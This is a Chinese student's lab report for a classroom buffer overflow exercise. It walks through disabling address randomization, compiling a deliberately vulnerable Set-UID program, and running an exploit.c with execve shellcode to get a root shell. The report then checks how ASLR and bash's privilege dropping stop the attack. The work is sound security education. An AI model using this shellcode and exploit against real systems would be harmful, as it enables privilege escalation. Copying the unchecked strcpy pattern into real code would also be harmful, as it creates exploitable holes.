实验一——缓冲区溢出漏洞实验

                                                                                                 Linux实验一 —— 缓冲区溢出漏洞实验

                                                                                   20122137

一、实验描述

缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。

 

二、实验准备

系统用户名shiyanlou，密码shiyanlou

实验楼提供的是64位Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在32位环境下作操作，因此实验之前需要做一些准备。

1、输入命令安装一些用于编译32位C程序的东西：

sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386


sudo apt-get install lib32readline-gplv2-dev

2、输入命令“linux32”进入32位linux环境。此时你会发现，命令行用起来没那么爽了，比如不能tab补全了，所以输入“/bin/bash”使用bash：

 

三、实验步骤

1.练习一

按照实验步骤进行操作，攻击漏洞程序并获得root权限。

1.1 初始设置

Ubuntu和其他一些Linux系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：

sudo sysctl -w kernel.randomize_va_space=0

此外，为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个Set-UID程序调用一个shell，也不能在这个shell中保持root权限，这个防护措施在/bin/bash中实现。

linux系统中，/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个shell程序（zsh）代替/bin/bash。下面的指令描述了如何设置zsh程序：

sudo su

cd /bin

rm sh

ln -s zsh sh

exit

1.2 shellcode

一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是shellcode。

观察以下代码：

#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}

本次实验的shellcode，就是刚才代码的汇编版本：

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

1.3 漏洞程序

把以下代码保存为“stack.c”文件，保存到 /tmp 目录下。代码如下：

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
char buffer[12];

/* The following statement has a buffer overflow problem */
strcpy(buffer, str);

return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。

编译该程序，并设置SET-UID。命令如下：

sudo su

gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

chmod u+s stack

exit

GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。

而 -z execstack 用于允许执行栈。

1.4 攻击程序

我们的目的是攻击刚才的漏洞程序，并通过攻击获得root权限。

把以下代码保存为“exploit.c”文件，保存到 /tmp 目录下。代码如下：

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=

"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

注意上面的代码，“\x??\x??\x??\x??”处需要添上shellcode保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。

而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode保存在 buffer+100 的位置。

现在我们要得到shellcode在内存中的地址，输入命令：

gdb stack

disass main
结果如图：

接下来的操作：

 

根据语句 strcpy(buffer+100,shellcode); 我们计算shellcode的地址为 0xffffd1b0(十六进制)+100(十进制)=0xffffd214(十六进制)

现在修改exploit.c文件！将 \x??\x??\x??\x?? 修改为 \x14\xd2\xff\xff

然后，编译exploit.c程序：

gcc -m32 -o exploit exploit.c

1.5 攻击结果

先运行攻击程序exploit，再运行漏洞程序stack，观察结果：

 

可见，通过攻击，获得了root权限！

 

2.练习二

 

通过命令”sudo sysctl -w kernel.randomize_va_space=2“打开系统的地址空间随机化机制，重复用exploit程序攻击stack程序，观察能否攻击成功，能否获得root权限。

（实验二未成功截图，由于错误操作，无法从练习三返回练习二的实验结果）

 

3.练习三

 

将/bin/sh重新指向/bin/bash（或/bin/dash），观察能否攻击成功，能否获得root权限。

 

四、实验总结

1.（遇到的问题）实验时出现sudo：无法解析主机，但后来百度查询后，发现这个是因为主机名称的问题，并不影响实验，就没有对其进行修改。另外，由于网速的问题，有些命令行可能会重复或者出错，尤其在需要输入密码的程序段之后。

2.许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个Set-UID程序调用一个shell，也不能在这个shell中保持root权限。

3.操作系统所使用的缓冲区 是"堆栈".，在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出 。缓冲区溢出通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，使程序转而执行其它指令，以达到攻击的目的。

4.在练习二中，由于地址空间随机化被开启，导致之前计算的地址与实际的地址出现了不同，从而不能完成攻击。而练习三中，使用的bash程序，当shell运行时，没有root权限，此时，即便攻击程序攻击了漏洞程序，也无法完成攻击。

5.通过本次实验，我了解了一些关于缓冲区溢出的保护机制以及缓冲区安全的重要性，明白了堆栈地址与权限的作用，堆栈初始地址的随机化和放弃root权限对于防止黑客利用缓存区溢出进行攻击有非常重要的作用。